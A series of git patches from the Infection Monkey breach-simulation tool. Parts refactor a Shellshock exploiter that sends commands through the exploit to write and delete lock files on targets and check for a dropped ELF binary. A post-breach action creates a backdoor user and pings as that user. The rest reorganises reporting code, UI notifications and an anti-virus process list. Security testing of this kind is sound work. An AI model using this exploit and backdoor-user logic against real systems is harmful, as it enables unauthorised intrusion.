7b0bf71279112196954c7be834bc20fa5c2390b2 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Sat, 7 Sep 2019 07:14:11 +0700 Subject: [PATCH 41/78] update --- monkey/infection_monkey/exploit/__init__.py | 12 +-------- monkey/infection_monkey/exploit/shellshock.py | 27 +++++++------------ 2 files changed, 11 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index a75675942..ad38f50ce 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -75,17 +75,7 @@ class HostExploiter(object): """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) - - def _try_lock(self, create_file_fn, path): - """ - Create temporary file on target machine to avoid collision of long-running exploiters - :return: True if no other monkey is running same exploit - """ - return create_file_fn(path) - - def _exit_lock(self, remove_file_fn, path): - remove_file_fn(path) - + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 46de37797..78e668fc1 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -109,9 +109,8 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header), - path=LOCK_HELPER_FILE): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if not self._create_lock_file(exploit, url, header): + LOG.info("Another monkey is running shellshock exploit") return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) @@ -130,8 +129,7 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header), - path=LOCK_HELPER_FILE) + self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -192,20 +190,15 @@ class ShellShockExploiter(HostExploiter): return False, def _create_lock_file(self, exploit, url, header): - def f(filepath): - if self.check_remote_file_exists(url, header, exploit, filepath): - LOG.info("Another monkey is running shellshock exploit") - return False - cmd = exploit + 'echo AAAA > %s' % filepath - self.attack_page(url, header, cmd) - return True - return f + if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): + return False + cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + return True def _remove_lock_file(self, exploit, url, header): - def f(filepath): - cmd = exploit + 'rm %s' % filepath - self.attack_page(url, header, cmd) - return f + cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) @staticmethod def attack_page(url, header, attack): From f78e76bdee4c9a4eccd4a1a25fc70d0bfc654909 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sat, 7 Sep 2019 18:49:59 +0300 Subject: [PATCH 42/78] Renamed process_handle to process_info and removed bad comment --- .../post_breach/actions/communicate_as_new_user.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 590912c0b..9db9bd436 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -70,7 +70,7 @@ class CommunicateAsNewUser(PBA): # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2") - process_handle = win32process.CreateProcessAsUser( + process_info = win32process.CreateProcessAsUser( new_user.get_logon_handle(), # A handle to the primary token that represents a user. None, # The name of the module to be executed. commandline, # The command line to be executed. @@ -89,8 +89,8 @@ class CommunicateAsNewUser(PBA): PostBreachTelem(self, (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() - win32api.CloseHandle(process_handle[0]) # Process handle - win32api.CloseHandle(process_handle[1]) # Thread handle + win32api.CloseHandle(process_info[0]) # Process handle + win32api.CloseHandle(process_info[1]) # Thread handle except Exception as e: # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the @@ -100,8 +100,6 @@ class CommunicateAsNewUser(PBA): # 2. need to find how to do this using python... PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() - - # Nothing more we can do. Leak the process handle. except subprocess.CalledProcessError as err: PostBreachTelem(self, ( "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), From 72cae8624ce9bdb012d30a5bb1ac015cf17a3288 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:45:20 +0300 Subject: [PATCH 43/78] Move AWS exporting to proper subfolder --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- monkey/monkey_island/cc/services/reporting/__init__.py | 0 .../cc/{resources => services/reporting}/aws_exporter.py | 2 +- .../cc/{resources => services/reporting}/exporter.py | 0 .../cc/{ => services/reporting}/exporter_init.py | 4 ++-- .../cc/{ => services/reporting}/report_exporter_manager.py | 0 7 files changed, 5 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/__init__.py rename monkey/monkey_island/cc/{resources => services/reporting}/aws_exporter.py (99%) rename monkey/monkey_island/cc/{resources => services/reporting}/exporter.py (100%) rename monkey/monkey_island/cc/{ => services/reporting}/exporter_init.py (78%) rename monkey/monkey_island/cc/{ => services/reporting}/report_exporter_manager.py (100%) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5b9bda8cb..b6c7cb7ab 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from monkey_island.cc.exporter_init import populate_exporter_list +from cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 54bb6f74e..2b89be782 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -11,7 +11,7 @@ from six import text_type from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.report_exporter_manager import ReportExporterManager +from cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py similarity index 99% rename from monkey/monkey_island/cc/resources/aws_exporter.py rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py index 52ccfeb5d..52f3797a3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from monkey_island.cc.resources.exporter import Exporter +from cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py similarity index 100% rename from monkey/monkey_island/cc/resources/exporter.py rename to monkey/monkey_island/cc/services/reporting/exporter.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py similarity index 78% rename from monkey/monkey_island/cc/exporter_init.py rename to monkey/monkey_island/cc/services/reporting/exporter_init.py index fdf26fe8f..b6304927f 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,7 +1,7 @@ import logging -from monkey_island.cc.report_exporter_manager import ReportExporterManager -from monkey_island.cc.resources.aws_exporter import AWSExporter +from cc.services.reporting.report_exporter_manager import ReportExporterManager +from cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py similarity index 100% rename from monkey/monkey_island/cc/report_exporter_manager.py rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py From 004cfa17f3d5bd66985b45d2c0775e574c4ece4c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:45:58 +0300 Subject: [PATCH 44/78] Bugfix, add AWS exporter only when running with AWS config. --- monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index b6304927f..7a9c0d64f 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -3,14 +3,14 @@ import logging from cc.services.reporting.report_exporter_manager import ReportExporterManager from cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService - +from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) def populate_exporter_list(): manager = ReportExporterManager() RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws(): + if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): manager.add_exporter_to_list(AWSExporter) if len(manager.get_exporters_list()) != 0: From bf3ad35124848ef3b4a9c682e5881e6590c565b6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:54:41 +0300 Subject: [PATCH 45/78] Move try catch to better handle multiple exporters --- .../cc/services/reporting/report_exporter_manager.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index 5e51a43e1..c934618db 100644 --- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -27,9 +27,9 @@ class ReportExporterManager(object): self._exporters_set.add(exporter) def export(self, report): - try: - for exporter in self._exporters_set: - logger.debug("Trying to export using " + repr(exporter)) + for exporter in self._exporters_set: + logger.debug("Trying to export using " + repr(exporter)) + try: exporter().handle_report(report) - except Exception as e: - logger.exception('Failed to export report, error: ' + e.message) + except Exception as e: + logger.exception('Failed to export report, error: ' + e.message) From dc2686301cc85e7e593d9ae502cedb0d3f4a863d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 10:20:23 +0300 Subject: [PATCH 46/78] Fixed notification link and updated legend texts --- monkey/monkey_island/cc/ui/src/components/Main.js | 9 ++++++--- .../report-components/zerotrust/ReportLegend.js | 7 +++---- 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 982791782..3a51103c9 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -29,6 +29,8 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); let notificationIcon = require('../images/notification-logo-512x512.png'); +const reportZeroTrustPath = '/report/zero_trust'; + class AppComponent extends AuthComponent { updateStatus = () => { this.auth.loggedIn() @@ -200,7 +202,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report/security', )} - {this.renderRoute('/report/zero_trust', )} + {this.renderRoute(reportZeroTrustPath, )} {this.renderRoute('/license', )} @@ -211,8 +213,9 @@ class AppComponent extends AuthComponent { showInfectionDoneNotification() { if (this.state.completedSteps.infection_done) { - let hostname = window.location.hostname; - let url = `https://${hostname}:5000/report`; + const hostname = window.location.hostname; + const port = window.location.port; + let url = `https://${hostname}:${port}/${reportZeroTrustPath}`; console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon); Notifier.start( diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 143120793..34c18eb26 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -27,19 +27,18 @@ class ZeroTrustReportLegend extends Component { getLegendContent() { return
-

Statuses

  • - {"\t"}Some tests failed; the monkeys found something wrong. + {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
  • - {"\t"}The test ran; manual verification is required to determine the results. + {"\t"}At least one of the tests’ results related to this component requires further manual verification.
  • @@ -55,7 +54,7 @@ class ZeroTrustReportLegend extends Component {

- Some of the tests can be activated using the configuration. + To activate more tests, go to the Monkey configuration page.n
; } } From e010ea5b39f48af14a32fb82ebfab6b2b2ef35dc Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 21:11:20 +0300 Subject: [PATCH 47/78] Fully explict path all the things --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/services/report.py | 4 ++-- monkey/monkey_island/cc/services/reporting/aws_exporter.py | 2 +- monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index b6c7cb7ab..8c817e935 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from cc.services.reporting.exporter_init import populate_exporter_list +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2b89be782..409586e66 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -11,12 +11,12 @@ from six import text_type from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses, get_subnets -from pth_report import PTHReportService +from monkey_island.cc.services.pth_report import PTHReportService from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 52f3797a3..84940df56 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from cc.services.reporting.exporter import Exporter +from monkey_island.cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index 7a9c0d64f..bd4e82f3e 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,7 +1,7 @@ import logging -from cc.services.reporting.report_exporter_manager import ReportExporterManager -from cc.services.reporting.aws_exporter import AWSExporter +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) From 313911fd77ede40cccb08016de320c5715ad1ba8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 11:38:37 +0300 Subject: [PATCH 48/78] Deleted console log + fixed link in notification --- monkey/monkey_island/cc/ui/src/components/Main.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 3a51103c9..5d2f6b898 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -215,8 +215,7 @@ class AppComponent extends AuthComponent { if (this.state.completedSteps.infection_done) { const hostname = window.location.hostname; const port = window.location.port; - let url = `https://${hostname}:${port}/${reportZeroTrustPath}`; - console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon); + let url = `https://${hostname}:${port}${reportZeroTrustPath}`; Notifier.start( "Monkey Island", From 63d76f19f866519e18e4066fbfe507742554b8a7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 11:47:16 +0300 Subject: [PATCH 49/78] Updated notification to only show if the island is not on the report page already --- .../cc/ui/src/components/Main.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 5d2f6b898..1df53fd4f 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -29,7 +29,7 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); let notificationIcon = require('../images/notification-logo-512x512.png'); -const reportZeroTrustPath = '/report/zero_trust'; +const reportZeroTrustRoute = '/report/zero_trust'; class AppComponent extends AuthComponent { updateStatus = () => { @@ -202,7 +202,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report/security', )} - {this.renderRoute(reportZeroTrustPath, )} + {this.renderRoute(reportZeroTrustRoute, )} {this.renderRoute('/license', )} @@ -213,15 +213,18 @@ class AppComponent extends AuthComponent { showInfectionDoneNotification() { if (this.state.completedSteps.infection_done) { - const hostname = window.location.hostname; - const port = window.location.port; - let url = `https://${hostname}:${port}${reportZeroTrustPath}`; + // No need to show the notification to redirect to the report if we're already in the report page + if (!window.location.href.includes("report")) { + const hostname = window.location.hostname; + const port = window.location.port; + let url = `https://${hostname}:${port}${reportZeroTrustRoute}`; - Notifier.start( - "Monkey Island", - "Infection is done! Click here to go to the report page.", - url, - notificationIcon); + Notifier.start( + "Monkey Island", + "Infection is done! Click here to go to the report page.", + url, + notificationIcon); + } } } } From a32012ce5212e0e7ed2e79ee8d664cfad3cfdbd4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 13:35:46 +0300 Subject: [PATCH 50/78] Added communicate as new user to default PBA actions --- monkey/monkey_island/cc/services/config_schema.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 16b51984d..046273912 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -337,6 +337,7 @@ SCHEMA = { "$ref": "#/definitions/post_breach_acts" }, "default": [ + "CommunicateAsNewUser" ], "description": "List of actions the Monkey will run post breach" }, From a51a6065b8c432a6cc2521e771b855aaf527b889 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 17:27:53 +0300 Subject: [PATCH 51/78] Now looking at the exit codes of ping --- monkey/common/data/zero_trust_consts.py | 3 +- .../actions/communicate_as_new_user.py | 37 ++++++++++++++----- 2 files changed, 30 insertions(+), 10 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 385f28338..780aaafa4 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -57,7 +57,8 @@ RECOMMENDATIONS = { RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", - RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC only.", + RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " + u"Access Control) only.", } POSSIBLE_STATUSES_KEY = u"possible_statuses" diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 9db9bd436..be2b824bb 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -3,6 +3,7 @@ import os import random import string import subprocess +import time from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError @@ -11,8 +12,12 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os -CREATED_PROCESS_AS_USER_WINDOWS_FORMAT = "Created process '{}' as user '{}'." -CREATED_PROCESS_AS_USER_LINUX_FORMAT = "Created process '{}' as user '{}'. Some of the output was '{}'." +PING_TEST_DOMAIN = "google.com" + +PING_WAIT_TIMEOUT_IN_SECONDS = 20 + +CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." +CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." USERNAME = "somenewuser" PASSWORD = "N3WPa55W0rD!1" @@ -40,12 +45,11 @@ class CommunicateAsNewUser(PBA): try: # add user + ping linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - commandline = "ping -c 2 google.com" + commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN) linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) - output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() + exit_status = os.system(final_command) + self.send_ping_result_telemetry(exit_status, commandline, username) # delete the user _ = subprocess.check_output( BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) @@ -69,7 +73,7 @@ class CommunicateAsNewUser(PBA): try: # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2") + commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1") process_info = win32process.CreateProcessAsUser( new_user.get_logon_handle(), # A handle to the primary token that represents a user. None, # The name of the module to be executed. @@ -86,8 +90,15 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) - PostBreachTelem(self, - (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() + ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + counter = 0 + while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS: + ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + counter += 1 + logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(counter, ping_exit_code)) + time.sleep(1) + + self.send_ping_result_telemetry(ping_exit_code, commandline, username) win32api.CloseHandle(process_info[0]) # Process handle win32api.CloseHandle(process_info[1]) # Thread handle @@ -106,3 +117,11 @@ class CommunicateAsNewUser(PBA): False)).send() except NewUserError as e: PostBreachTelem(self, (str(e), False)).send() + + def send_ping_result_telemetry(self, exit_status, commandline, username): + if exit_status == 0: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() + else: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send() From 53f31ddcc984b7899d15143ff9c3d4d10ea05f8d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 17:36:00 +0300 Subject: [PATCH 52/78] Refactored notification logic to method --- .../cc/ui/src/components/Main.js | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 1df53fd4f..9fd3d8f1c 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -212,21 +212,23 @@ class AppComponent extends AuthComponent { } showInfectionDoneNotification() { - if (this.state.completedSteps.infection_done) { - // No need to show the notification to redirect to the report if we're already in the report page - if (!window.location.href.includes("report")) { - const hostname = window.location.hostname; - const port = window.location.port; - let url = `https://${hostname}:${port}${reportZeroTrustRoute}`; + if (this.shouldShowNotification()) { + const hostname = window.location.hostname; + const port = window.location.port; + const url = `https://${hostname}:${port}${reportZeroTrustRoute}`; - Notifier.start( - "Monkey Island", - "Infection is done! Click here to go to the report page.", - url, - notificationIcon); - } + Notifier.start( + "Monkey Island", + "Infection is done! Click here to go to the report page.", + url, + notificationIcon); } } + + shouldShowNotification() { + // No need to show the notification to redirect to the report if we're already in the report page + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report")); + } } AppComponent.defaultProps = {}; From 4dca735265f62c771926e3bdd9df291110726fa4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 14:43:48 +0300 Subject: [PATCH 53/78] Changed `check_output` to `Popen` to make user deletion async we don't care about its result --- .../post_breach/actions/communicate_as_new_user.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index be2b824bb..75acf6fe0 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -50,9 +50,10 @@ class CommunicateAsNewUser(PBA): final_command = ' '.join(linux_cmds) exit_status = os.system(final_command) self.send_ping_result_telemetry(exit_status, commandline, username) - # delete the user - _ = subprocess.check_output( + # delete the user, async in case it gets stuck. + _ = subprocess.Popen( BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) + # Leaking the process on purpose - nothing we can do if it's stuck. except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() From 50f8e9053a31669d1e486555c0e5be364f09f742 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 14:50:54 +0300 Subject: [PATCH 54/78] Changed on windows as well --- monkey/infection_monkey/monkey_utils/windows/new_user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py index 14db5c1ae..fbe4bd832 100644 --- a/monkey/infection_monkey/monkey_utils/windows/new_user.py +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -63,7 +63,7 @@ class NewUser(object): # Try to delete user try: - _ = subprocess.check_output( + _ = subprocess.Popen( BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) From 5f02ebe1e0f217bd23d6ee407d2c00033a602dff Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 19:32:46 +0300 Subject: [PATCH 55/78] Added Guardicore processes to AV list --- .../zero_trust_tests/known_anti_viruses.py | 20 ++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py index e10792d0c..e5d7c2355 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py @@ -65,5 +65,23 @@ ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ u"DWHWizrd.exe", u"RtvStart.exe", u"roru.exe", - u"WSCSAvNotifier" + u"WSCSAvNotifier", + # Guardicore Centra + # Linux + u"gc-agents-service", + 